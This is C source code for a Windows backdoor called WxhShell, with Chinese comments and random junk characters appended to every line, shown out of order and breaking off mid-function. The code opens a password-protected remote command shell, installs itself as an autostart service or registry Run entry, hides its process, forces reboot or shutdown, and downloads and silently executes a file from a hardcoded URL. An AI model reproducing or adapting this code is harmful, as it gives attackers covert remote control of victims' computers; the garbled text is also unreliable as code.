    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?7 \\e;j}  
    else { R_^/,^1  
    closesocket(wsh); 0"78/6XIs  
    ExitThread(0); _T5)n=|  
    }  B/G-Yh$E  
    break; SRZL\m}  
    } U3E&n1AA  
  // 获取shell pj0fM{E  
  case 's': { S,''>`w  
    CmdShell(wsh); 5{d\u E%'p  
    closesocket(wsh); %d1draL  
    ExitThread(0);  |t))u`~  
    break; * RWm47  
  } /)EY2Y'  
  // 退出 KB!5u9  
  case 'x': { [ %}u=}@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \ECu5L4  
    CloseIt(wsh); {hQ6K)s  
    break; Iy';x  
    } <xo-Fv  
  // 离开 */z??fI27  
  case 'q': { 06 i;T~Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N2ied^* 0  
    closesocket(wsh); MV0Lq:# N  
    WSACleanup(); TJ(K3/)Z  
    exit(1); 7AwgJb hn  
    break; x({H{'9?  
        } 9M a0^_  
  } rv>^TR*,!  
  } BQ/PGY>  
gd7^3q[$h  
  // 提示信息 hIYTe  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e)H!uR  
} #aar9  
  } AVl~{k|  
Wh( |+rJ?Z  
  return; x[Im%k  
} o31Nmy Ni  
RO&H5m r%@  
// shell模块句柄 4-R^/A0  
int CmdShell(SOCKET sock) N@xg:xr  
{ -.IEgggf  
STARTUPINFO si; 6/Fzco#N  
ZeroMemory(&si,sizeof(si)); !TKkec8$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1u|V`J)0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t *G/]  
PROCESS_INFORMATION ProcessInfo; ka"337H  
char cmdline[]="cmd"; . ]@=es  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2HD]?:Fk7  
  return 0; WG7k(Sp ]  
} nV*y`.+  
9Q;c ,]  
// 自身启动模式 .]x2K-Sf  
int StartFromService(void)  d$W  
{ -%CoWcGP  
typedef struct '?QuJFki  
{ @+LfQY  
  DWORD ExitStatus; EH*o"N`!r  
  DWORD PebBaseAddress; UPiW73Nu  
  DWORD AffinityMask; :hRs`=d"r  
  DWORD BasePriority; Ju2l?Rr X  
  ULONG UniqueProcessId; 8RW&r  
  ULONG InheritedFromUniqueProcessId; V\]" }V)"  
}   PROCESS_BASIC_INFORMATION; p(F" /  
/9pM>Cd*Z  
PROCNTQSIP NtQueryInformationProcess; $((6=39s  
@n&<B`/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I$t3qd{H&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _>m-AI4^  
44ed79ly0)  
  HANDLE             hProcess; q.#[TI ^  
  PROCESS_BASIC_INFORMATION pbi; MJ`3ta  
69K{+|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O81X ;JdP3  
  if(NULL == hInst ) return 0; o Y}]UB>  
DZS]AC*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BYrZEVM9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :1ecx$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !y:%0{l  
@|}BXQNd  
  if (!NtQueryInformationProcess) return 0; +|iYg/2  
AK!hK>u`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }n_p$g[Nj/  
  if(!hProcess) return 0; ;Q;[*B=kE  
l_tw<`Ep  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %V`F!D<D  
#H?t!DU  
  CloseHandle(hProcess); !$;a[Te  
$~0Q@):  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WE6a'  
if(hProcess==NULL) return 0; B/JO~;{  
-t2T(ha  
HMODULE hMod; 7dG 79H  
char procName[255]; h%; e0Xz|  
unsigned long cbNeeded; `:m!~  
'_\;jFAM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OLGBt  
{`=0 |oP}  
  CloseHandle(hProcess); 7uorQfR?  
|BT MJ:B  
if(strstr(procName,"services")) return 1; // 以服务启动 vbx6I>\Y  
IQ< MyB(  
  return 0; // 注册表启动 F~:O.$f]G  
} ?3ig)J,e[  
w]b,7QuNz  
// 主模块 '^BV_QQ  
int StartWxhshell(LPSTR lpCmdLine) '>$EOg"  
{ X,aYK;q%z  
  SOCKET wsl; \0l>q ,  
BOOL val=TRUE; PNF?;*`-{7  
  int port=0; SzwQOs*  
  struct sockaddr_in door; W7"{r)7  
7|\@zQ h   
  if(wscfg.ws_autoins) Install(); `\`>0hlu  
*L6PLe  
port=atoi(lpCmdLine); PWRy7d  
;8WZx  
if(port<=0) port=wscfg.ws_port; T{qTj6I  
H1GRMDNXOA  
  WSADATA data; Jj~EiA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  T9)nQ[  
A[IL H_w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NjPDX>R\K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8.' #?]a  
  door.sin_family = AF_INET; `RU[8@ 2%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T_b^ Tc`  
  door.sin_port = htons(port); WwH+E]^e+  
SG}V[Glk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  ~>O)  
closesocket(wsl); 6qN~/TnHZ  
return 1; Spo?i.#  
}  ~ ~uAc_  
8l}1c=A}Vi  
  if(listen(wsl,2) == INVALID_SOCKET) { y@2epY?{  
closesocket(wsl); H>9CW<8  
return 1; nJ4@I7Sk;  
} gBT2)2]  
  Wxhshell(wsl); 7n]65].t  
  WSACleanup(); I;5R2" 3  
8[r9HC  
return 0; )jWO P,|  
(,^*So/  
} O}9KJU  
x!\ONF5$  
// 以NT服务方式启动 oH0X<'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 43?^7_l-  
{ _&K  
DWORD   status = 0; |KB0P@=a  
  DWORD   specificError = 0xfffffff; :m86 hBE.  
U\/5;Txy(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yC 77c=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UnVm1ZWZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @(P=Eh  
  serviceStatus.dwWin32ExitCode     = 0; !fBF|*/  
  serviceStatus.dwServiceSpecificExitCode = 0; t8^m`W  
  serviceStatus.dwCheckPoint       = 0; Y(cN}44  
  serviceStatus.dwWaitHint       = 0; +&zYZA8v  
yc|VJ2R*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^F?&|clM/  
  if (hServiceStatusHandle==0) return; 1qV@qz  
A:(*y 2  
status = GetLastError(); =%'`YbD$  
  if (status!=NO_ERROR) 1n%?@+W  
{ .B#l5pfvP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3@5=+z~CW  
    serviceStatus.dwCheckPoint       = 0; %m:m}ziLQ  
    serviceStatus.dwWaitHint       = 0; zlR?,h-[3  
    serviceStatus.dwWin32ExitCode     = status; I^o!n5VM  
    serviceStatus.dwServiceSpecificExitCode = specificError; |ZodlYF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +T9:Udi  
    return; BpX6aAx  
  } n|GaV  
TO%dw^{_`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hhoEb(BA  
  serviceStatus.dwCheckPoint       = 0; f+rz|(6vs{  
  serviceStatus.dwWaitHint       = 0; GGhM;%H_99  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .]aF 1}AI  
} Hw#d_P:  
Sq:0w  
// 处理NT服务事件,比如:启动、停止 $}")1|U,X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) As+t##gN  
{ -v6M<  
switch(fdwControl) x `V;Y]7'  
{ p ?wI9GY  
case SERVICE_CONTROL_STOP: '`1CBU$  
  serviceStatus.dwWin32ExitCode = 0; (98Nzgxgx}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 42>Ge>#F  
  serviceStatus.dwCheckPoint   = 0; Qt]Q: 9I[  
  serviceStatus.dwWaitHint     = 0; e #/E~r&  
  { .9O$G2'oh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1-.~7yC  
  } r J KZ)N{  
  return; zhY+x<-  
case SERVICE_CONTROL_PAUSE: *T0q|P~o%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k6=nO?$  
  break; `9k0Gd  
case SERVICE_CONTROL_CONTINUE: NBb6T V}j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <F11m(  
  break; !n6wWl  
case SERVICE_CONTROL_INTERROGATE: /b|0PMX  
  break; ?xK,mbFgl  
}; Q f(p~a(d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LJoGpr 8  
} e8'wG{3A  
AIA6yeaU  
// 标准应用程序主函数 ,vW:}&U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pLv$\ MiZ  
{ ;-UmY}MU  
9n}p;3{f  
// 获取操作系统版本 I(=V}s2  
OsIsNt=GetOsVer(); QRLt9L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OT'[:|x ;  
G\NPV'  
  // 从命令行安装 #97h6m?  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fs[aa#v4B  
Vb BPB5 $q  
  // 下载执行文件 u{["50~  
if(wscfg.ws_downexe) { ] }f9JNf$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pz$R(TV  
  WinExec(wscfg.ws_filenam,SW_HIDE); y\{%\$  
} ax 41N25  
DNP13wp@  
if(!OsIsNt) { C* nB  
// 如果时win9x,隐藏进程并且设置为注册表启动 }MUn/ [x  
HideProc(); H(Eh c  
StartWxhshell(lpCmdLine); I@\OaUGr+  
} BC'llD  
else s`>[F@N7.o  
  if(StartFromService()) -GLMmZJt  
  // 以服务方式启动 pKi&[  
  StartServiceCtrlDispatcher(DispatchTable); Rb3V^;i  
else -.{g}R%  
  // 普通方式启动 NY?;erX  
  StartWxhshell(lpCmdLine); RoAlf+&Qb  
dK>7fy;mv  
return 0; trE{FT  
} ZcYh) HD  
]r_;dYa  
aM4k *|H?  
z2Z^~, i  
=========================================== 7=(Hy\Q5xH  
U4G`ZK v(!  
qY[xpm  
41SGWAd#:  
? R>h `  
fU!<HD h  
" 9uWY@zu  
/> 4"~q)  
#include <stdio.h> vB+ '  
#include <string.h> Zdn~`Q{  
#include <windows.h> Ao/ jt<  
#include <winsock2.h> |g *XK6  
#include <winsvc.h> ;qBu4'C)T  
#include <urlmon.h> T9s2bC.z55  
@g G<le6  
#pragma comment (lib, "Ws2_32.lib") ES40?o*]x  
#pragma comment (lib, "urlmon.lib") w|Nz_3tI  
In[Cr/&/Y  
#define MAX_USER   100 // 最大客户端连接数 \}]!)}G  
#define BUF_SOCK   200 // sock buffer O`vTnrY  
#define KEY_BUFF   255 // 输入 buffer Zkf0p9h\  
DfKr[cqLM  
#define REBOOT     0   // 重启 `7H4Y&E  
#define SHUTDOWN   1   // 关机 ]n-:Yv5 W  
VWO9=A*Y|  
#define DEF_PORT   5000 // 监听端口 o: ;"w"G  
0 Us5  
#define REG_LEN     16   // 注册表键长度 Qqlup  
#define SVC_LEN     80   // NT服务名长度 cYqfsd# B  
~jsLqY*(+  
// 从dll定义API "9n3VX)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $HJwb-I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /@|/^vld  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f^VP/rdg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KgR<E  
8n>9;D5n  
// wxhshell配置信息 im @h -A]0  
struct WSCFG { L QjsOo  
  int ws_port;         // 监听端口 /B}lO0]:  
  char ws_passstr[REG_LEN]; // 口令 q/n,,!  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z> r^SWL  
  char ws_regname[REG_LEN]; // 注册表键名 5# K4bA  
  char ws_svcname[REG_LEN]; // 服务名 %AQIGBcgL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $1v&azM.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H#ncM~y*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L5,NP5RC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P@FHnh3}Z$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DY^;EZ!hb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AFAAuFE"  
QV\eMuNy  
}; ` Jdb;  
~s5SZK*  
// default Wxhshell configuration %HJK;   
struct WSCFG wscfg={DEF_PORT, %plo=RF  
    "xuhuanlingzhe", <n#DT  
    1, *BR^U$,e  
    "Wxhshell", ]KmO$4  
    "Wxhshell", rdJR 2  
            "WxhShell Service", s-v  
    "Wrsky Windows CmdShell Service", &?(?vDFfZ  
    "Please Input Your Password: ", +>PX&F  
  1, 6 :~v4W!k  
  "http://www.wrsky.com/wxhshell.exe", 8-O)Xx}cU  
  "Wxhshell.exe" LGtIm7  
    }; V5rS T +  
KY~- ;0x  
// 消息定义模块 BT(CM,bp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bcYF\@};  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6H7],aMg$A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cCxBzkH6  
char *msg_ws_ext="\n\rExit."; p3 ^ m9J  
char *msg_ws_end="\n\rQuit."; /gG"v5]  
char *msg_ws_boot="\n\rReboot..."; )-. _FOZ6  
char *msg_ws_poff="\n\rShutdown..."; =&:Y6XP  
char *msg_ws_down="\n\rSave to "; ^ (FdXGs[  
v;ZA 4c  
char *msg_ws_err="\n\rErr!"; wH@Ns~[MA  
char *msg_ws_ok="\n\rOK!"; :eCU/BC4  
y~\oTJb  
char ExeFile[MAX_PATH]; Nal9M[]c  
int nUser = 0; xKho1Z  
HANDLE handles[MAX_USER]; 9B9(8PVG  
int OsIsNt; 5^x1cUB]  
Z+=@<i''  
SERVICE_STATUS       serviceStatus; 5@BBo eG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {lc\,F*$  
<.? jc%  
// 函数声明 q*>&^V$M  
int Install(void); RVQh2'w  
int Uninstall(void); &e!7Z40w@&  
int DownloadFile(char *sURL, SOCKET wsh); SBS3?hw  
int Boot(int flag); bR)(H%I  
void HideProc(void); {Ja!~N;3  
int GetOsVer(void); 1|jt"Hz  
int Wxhshell(SOCKET wsl); ?pd8w#O  
void TalkWithClient(void *cs); :\o {_  
int CmdShell(SOCKET sock); VFys.=  
int StartFromService(void); c-0#w=  
int StartWxhshell(LPSTR lpCmdLine); >o=-$gz`  
# }y2)g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Sb82}$sO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {.INnFGP@)  
nX`u[ks  
// 数据结构和表定义 ] @u6HH~^  
SERVICE_TABLE_ENTRY DispatchTable[] = RtM8yar+sn  
{ EU+S^SyZi  
{wscfg.ws_svcname, NTServiceMain}, =aTv! 8</  
{NULL, NULL} h[@tZ( jrY  
}; 9'X7w G  
3zcU%*  
// 自我安装 Zo~  
int Install(void) @P?~KW6<|  
{ 7](KV"%V  
  char svExeFile[MAX_PATH]; fd.^h*'mU  
  HKEY key; ]%u@TK7  
  strcpy(svExeFile,ExeFile); Rw0qcM\>|  
mrF58Uq;A  
// 如果是win9x系统,修改注册表设为自启动  ^0 \  
if(!OsIsNt) { Y<%@s}zc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  UWo]s.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pz.JWCU1  
  RegCloseKey(key); JAem0jPC8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yL-YzF2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G\+L~t  
  RegCloseKey(key); y#z  
  return 0; 2HsLc*9{4  
    } ,tu.2VQc@  
  } |$ lM#Ua  
} @X;!92i  
else { /k,-P  
kZGRxp9  
// 如果是NT以上系统,安装为系统服务 Tq[kl'_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /Y2}a<3&0  
if (schSCManager!=0) U ^5Kz-5.  
{ _ =VqrK7T  
  SC_HANDLE schService = CreateService vkEiOFU!u  
  ( sW'2+|3"  
  schSCManager, +Z !)^j  
  wscfg.ws_svcname, .Z `av n  
  wscfg.ws_svcdisp, hRD=Y<>A  
  SERVICE_ALL_ACCESS, U!*M*s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _)>_{Pm  
  SERVICE_AUTO_START, (<xfCH F5  
  SERVICE_ERROR_NORMAL, 4i(JZN?  
  svExeFile, UKT%13CO4U  
  NULL, aGtf z)  
  NULL, oF1,QQ^dg  
  NULL, D!Pq4'd(  
  NULL, 0vD7v  
  NULL S]Mw #O|  
  ); b((M)Gz  
  if (schService!=0) 2Ay* kmW  
  { tnN.:%mZ  
  CloseServiceHandle(schService); nz=G lO'[  
  CloseServiceHandle(schSCManager); wc}5m Hs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E%,^Yvh/  
  strcat(svExeFile,wscfg.ws_svcname); FE (ev 9@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i/`m`qdg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VyXhl;  
  RegCloseKey(key); fY51:0{  
  return 0; keX,d#  
    } 2j}\3Pi  
  } yy i#Mo ,  
  CloseServiceHandle(schSCManager); _M`--.{\O[  
} F`XP@Xx  
} 9CWF{"  
"8x8UgG  
return 1; iXVe.n  
} 1AM!8VR2  
$!-c-0ub  
// 自我卸载 :*Z4yx  
int Uninstall(void) 4gz H8sF  
{ K<SyC54  
  HKEY key; ( u\._Gwsx  
7e|s wJ>4  
if(!OsIsNt) { 0zlb0[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |@ s,XS  
  RegDeleteValue(key,wscfg.ws_regname); C.Kh [V\Ut  
  RegCloseKey(key); i]YV {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %,}A@H ,  
  RegDeleteValue(key,wscfg.ws_regname); 8QLj["   
  RegCloseKey(key); C'.L20qW  
  return 0; Bn#?zI  
  } j7$e28|_n  
} !sQY&*  
} ZojI R\F^  
else { j<V Fn~*_  
v1+3}5b'uF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wsZF;8ut  
if (schSCManager!=0) \IV1j)I"u  
{ 0ghGBuv1s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }Qn&^[[miL  
  if (schService!=0) (:TjoXXiY  
  { DEG[Z7Ju  
  if(DeleteService(schService)!=0) { M"p  
  CloseServiceHandle(schService); *`ua'"="k  
  CloseServiceHandle(schSCManager); n 22zq6m  
  return 0; )_syZ1j  
  } ; >hNt  
  CloseServiceHandle(schService); &5fJPv &  
  } .w=/+TA  
  CloseServiceHandle(schSCManager); r ~jm`y  
} \E72L5nJW  
} AN8`7F1  
|:nOp(A\*  
return 1; m? J0i>H  
} 4o <Uy  
LrM=*R h,O  
// 从指定url下载文件 DCIxRPw  
int DownloadFile(char *sURL, SOCKET wsh) (C-{B[Y  
{ r3&G)g=u  
  HRESULT hr; |[<_GQl  
char seps[]= "/"; Fq~yL!#!  
char *token; ,Ys %:>?  
char *file; ZRh~`yy  
char myURL[MAX_PATH]; 5[k/s}g  
char myFILE[MAX_PATH]; 3G,Oba[$<  
[YF>:ydk  
strcpy(myURL,sURL); nBjqTud  
  token=strtok(myURL,seps); [R(`W#W  
  while(token!=NULL) 591>rh)  
  { +7D|4  
    file=token; 0=@?ob7  
  token=strtok(NULL,seps); bv]`!g: C  
  } S!jTyY7e  
/32Fy`KV  
GetCurrentDirectory(MAX_PATH,myFILE); X@ +{5%  
strcat(myFILE, "\\"); n7B7m,@1  
strcat(myFILE, file); L-jJg,eY  
  send(wsh,myFILE,strlen(myFILE),0); bhTb[r  
send(wsh,"...",3,0); u)X=Qm)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r?+%?$  
  if(hr==S_OK) H*RC@O_hv  
return 0; 0%9 q8 M;  
else ~ -4{B  
return 1; :~b3^xhc^  
lGPUIoUo  
} Bn=by{i  
f2Klt6"9  
// 系统电源模块 Uol|9F  
int Boot(int flag) B:b5UD  
{ 5,3'=mA6  
  HANDLE hToken; q+H%)kF  
  TOKEN_PRIVILEGES tkp; 6]V4muz#c  
bU>U14ix<  
  if(OsIsNt) { *g:4e3Iy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Fsmycr!R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I WTwz!+  
    tkp.PrivilegeCount = 1; lGV0 *Cji  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /f:dv?!km  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =)M/@T  
if(flag==REBOOT) { A>vBQN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UldXYtGe  
  return 0; 2 Wt> Mi  
} "9ZID-~]  
else { N=4G=0 `ke  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rXmn7;B}g  
  return 0; *]ly0nP  
} y?[ v=j*U  
  } Pu7_ v  
  else { r@72|:,  
if(flag==REBOOT) { "Q}#^h]F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^ZvWR%  
  return 0; sv: 9clJ  
} nno}e/zqf  
else { 6LOnU~l,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &vo--V1|  
  return 0; 9v;Vv0k_  
} Od)Uv1  
} qW$<U3u}  
F f$L|  
return 1;  A sQ)q  
} ?x$"+,  
}\z.)B4,  
// win9x进程隐藏模块 3C?f(J}  
void HideProc(void) xHUsFm s  
{ `n#H5Oyn  
ZOft.P O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); In:9\7~jC  
  if ( hKernel != NULL ) t9,\Hdo  
  { X\`_3=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |8&,b`Gfo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :Ux?,  
    FreeLibrary(hKernel); X> 1,!I9  
  } sT !~J4  
3VsW@SG7N  
return; WzPTFw[  
} -MW_| MG  
2QD3&Q9  
// 获取操作系统版本 9i'jj N  
int GetOsVer(void) ; o?-yI&T*  
{ Q}1 R5@7  
  OSVERSIONINFO winfo; 9%8"e>~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gwOa$f%O  
  GetVersionEx(&winfo); E=jNi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8qY79)vD4E  
  return 1; %b%-Ogz;4  
  else vL|SY_:4  
  return 0; Keuf9u  
} \.C +ue  
TlXI|3Ip  
// 客户端句柄模块 B:dB,3,`(  
int Wxhshell(SOCKET wsl) D2<fw#  
{ ^"VJd[Hn  
  SOCKET wsh; E.r>7`E  
  struct sockaddr_in client; /,89p&h  
  DWORD myID; 1%EBd%`#  
xe#FUS 3  
  while(nUser<MAX_USER) yyoqX"v[  
{ u5O+1sZ"6  
  int nSize=sizeof(client); GS0;bI4ay  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o}$XH,-9&  
  if(wsh==INVALID_SOCKET) return 1; aK&b{d  
 W,4QzcQR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '= _/1F*q  
if(handles[nUser]==0) NiWa7/Hr  
  closesocket(wsh); ;'?l$ ._  
else G,$PV e*  
  nUser++; ZO!I.  
  } Qt iDTr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <A[E:*`*  
~"!] 3C,L  
  return 0; AuUd e$l_  
} ]=.\-K  
TMAJb+@l:  
// 关闭 socket " W!M[qBW  
void CloseIt(SOCKET wsh) Fw/6?:C}O6  
{ AjmVc])  
closesocket(wsh); , `wXg  
nUser--; G'rxXJq  
ExitThread(0); 3 ;)>Fs;  
} IM:=@a{  
|M>eEE*F<  
// 客户端请求句柄 6BY-^"W5`  
void TalkWithClient(void *cs) !(mjyr  
{ wAX1l*`  
kd=GCO  
  SOCKET wsh=(SOCKET)cs; __`*dL>*  
  char pwd[SVC_LEN]; b_,|>U  
  char cmd[KEY_BUFF]; uXI_M)  
char chr[1]; &K[_J  
int i,j; 3t`P@nL0;  
J c g,#@  
  while (nUser < MAX_USER) { _,zA ^*b  
_]04lGx27  
if(wscfg.ws_passstr) { Scp7X7{N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M^MdRu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l*ayd>`~x  
  //ZeroMemory(pwd,KEY_BUFF); \qR7mI/*  
      i=0; `Y BC  
  while(i<SVC_LEN) { -#0qV:D  
tna .52*/  
  // 设置超时 @xQgY*f#  
  fd_set FdRead; *n; !G8\  
  struct timeval TimeOut; VOKZ dC-  
  FD_ZERO(&FdRead); p%iGc<vHX  
  FD_SET(wsh,&FdRead); 3Dg,GaRk  
  TimeOut.tv_sec=8; WzAb|&?  
  TimeOut.tv_usec=0; JCz@s~f\y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F ;{n"3<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .EpV;xq}  
P#pn*L*"T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E>&n.%  
  pwd=chr[0]; %dJX-sm@  
  if(chr[0]==0xd || chr[0]==0xa) { 7x#Ckep:I  
  pwd=0; bIGHGd  
  break; 4Yxo~ m(  
  } ML:Q5 ^`  
  i++; ^=C{.{n  
    } ?bPRxR  
"XB[|#&  
  // 如果是非法用户,关闭 socket ]NjX?XdX<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O>SLOWgha  
} x6(~;J  
t]>Lh>G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &Q+Ln,(&L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z|=}1; (.  
\x)n>{3C  
while(1) { :Mb%A  
M>DaQ`b  
  ZeroMemory(cmd,KEY_BUFF); kz{/(t  
6726ac{xz  
      // 自动支持客户端 telnet标准   cS>e?  
  j=0; ^9^WuSq  
  while(j<KEY_BUFF) { &@%W29:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ipQLK{]t  
  cmd[j]=chr[0]; I3 .x9  
  if(chr[0]==0xa || chr[0]==0xd) { KQacoUHrK?  
  cmd[j]=0; e:DkGy`-s  
  break; &L#UGp $,  
  } z."a.>fPaO  
  j++; 9U{a{~b  
    } ki[UV zd  
%TX@I$Ba  
  // 下载文件 g$HwxA9Gp/  
  if(strstr(cmd,"http://")) { .}'qUPNR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &F\?  
  if(DownloadFile(cmd,wsh)) Em?d*z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }xBc0g r  
  else }tsYJlh5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "u6`m?  
  } }-ftyl7  
  else { T;@;R %  
,$1eFgY%  
    switch(cmd[0]) { WtViW=j'  
  RMd[Yr2e  
  // 帮助 ?dD&p8{  
  case '?': { h]og*(  
